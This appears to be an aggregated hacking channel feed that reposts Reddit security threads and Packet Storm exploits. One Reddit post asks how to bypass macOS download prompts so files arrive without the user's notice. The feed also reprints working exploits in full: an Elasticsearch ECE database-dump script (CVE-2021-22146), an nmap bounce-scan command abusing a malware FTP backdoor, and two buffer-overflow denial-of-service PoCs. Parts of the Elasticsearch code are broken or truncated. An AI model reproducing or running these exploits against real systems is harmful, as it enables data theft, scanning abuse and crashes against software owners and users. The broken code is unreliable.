hacking: security in practice
Permissions and verification in mac downloads.

For any mac users here, how does Apple verify that you downloaded from a website before so it can freely download from it without asking for permission, for example, if you downloaded something from google drive for the first time, your mac will launch a pop up that tells you to either block the download or allow it, so how does your make verify that? and is there a way to spoof it to automatically download a file without the user's permission or notice? Thanks.

submitted by /u/Addey123
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Defcon 29 Badge Hacking Live

Would anyone who has a badge but is not going to defcon this year be interested in doing a live badge hacking on the Hakbreakz stream with me?

submitted by /u/Lamoneyman
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Cobalt Strike and Tradecraft
https://www.reddit.com/r/redteamsec/comments/os3oud/cobalt_strike_and_tradecraft/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/) [comments] (https://www.reddit.com/r/redteamsec/comments/os3oud/cobalt_strike_and_tradecraft/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Elasticsearch ECE 7.13.3 Database Disclosure

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Elasticsearch ECE version 7.13.3 anonymous database dumping exploit.

MD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3

Download
# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <=
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180

import os
import argparse
import sys

######### Check Arguments
def checkArgs():
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description='Elasticdump 1.0\n')
parser.add_argument('-s', "--host", action="store",
dest='host',
help="Host to attack.")
parser.add_argument('-p', "--port", action="store",
dest='port',
help="Elastic search port by default 9200 or 9201")
parser.add_argument('-i', "--index", action="store",
dest='index',
help="Index to dump (Example: 30)")
args = parser.parse_args()
if (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :
parser.print_help(sys.stderr)
sys.exit(1)
return args

def banner():
print(" _ _ _ _")
print(" ___| | __ _ ___| |_(_) ___ __| |_ _ _ __ ___ _ __")
print(" / _ \ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \| '_ \ ")
print("| __/ | (_| \__ \ |_| | (_| (_| | |_| | | | | | | |_) |")
print(" \___|_|\__,_|___/\__|_|\___\__,_|\__,_|_| |_| |_| .__/")
print(" |_|")
def exploit(host,port,index):

if (index != 0):
final = int(index)
else:
final = 1000000000

cont = 0
while (cont <=
os.system("curl -X POST \""+host+":"+port+"/_bulk\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\x0d\x0a\"index\" : {\x0d\x0a \"_id\" :\""+str(cont)+"\"\x0d\x0a}\x0d\x0a}\x0d\x0a' -k -s")
cont = cont + 1

if __name__ == "__main__":

banner()
args = checkArgs()
if (args.index):
exploit(args.host,args.port,args.index)
else:
exploit(args.host,args.port,0)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zabbix 5.x SQL Injection / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
XOS Shop 1.0.9 Arbitrary File Deletion

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Agent.cu Man-In-The-Middle

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Backdoor.Win32.Agent.cu malware suffers from a man-in-the-middle vulnerability.

MD5 | 95a42ae192bafa0dd596cea0c59c763a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cu
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP ports 10426, 56185, its FTP component accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: ce1963d3fd6a8e1383aac40a1f1c4107
Vuln ID: MVID-2021-0304
Dropped files: MsgNet32.exe
Disclosure: 07/26/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@192.168.18.129:56185 -p21,22,80 192.168.18.131
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-22 19:50 Pacific Daylight Time
Nmap scan report for 192.168.18.131
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Leawo Prof. Media 11.0.0.1 Denial Of Service

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
Leawo Prof. Media version 11.0.0.1 suffers from a denial of service vulnerability.

MD5 | 2372bdeda3c60eb93e2b722ecd563fe9

Download
# Exploit Title: Leawo Prof. Media 11.0.0.1 - Denial of Service (DoS) (PoC)
# Date: 25.07.2021
# Vendor Homepage:https://www.leawo.org
# Software Link: https://www.leawo.org/downloads/total-media-converter-ultimate.html
# Exploit Author: Achilles
# Tested Version: 11.0.0.1
# Tested on: Windows 7 x64
# 1.- Run python code :
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Leawo Prof. Media
# 4.- Click Activation Center
# 5.- Paste the content of EVIL.txt into the Field: 'Keycode'
# 6.- Click 'Register' and you will see a crash.

#!/usr/bin/env python
buffer =3D "\x41" * 6000

try:
f = open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NoteBurner 2.35 Denial Of Service

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
NoteBurner version 2.35 suffers from a denial of service vulnerability.

MD5 | aa3389946376d9c650f5562f084b7810

Download
# Exploit Title: NoteBurner 2.35 - Denial Of Service (DoS) (PoC)
# Date: 25.07.2021
# Vendor Homepage:https://www.noteburner.com/
# Software Link: https://anonfiles.com/13h9Hb82ub/noteburner_exe
# Exploit Author: Achilles
# Tested Version: 2.35
# Tested on: Windows 7 x64
# 1.- Run python code :
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Noteburner
# 4.- Click More and Enter License Code
# 5.- Paste the content of EVIL.txt into the Field: 'Name' and 'Code'
# 6.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "\x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video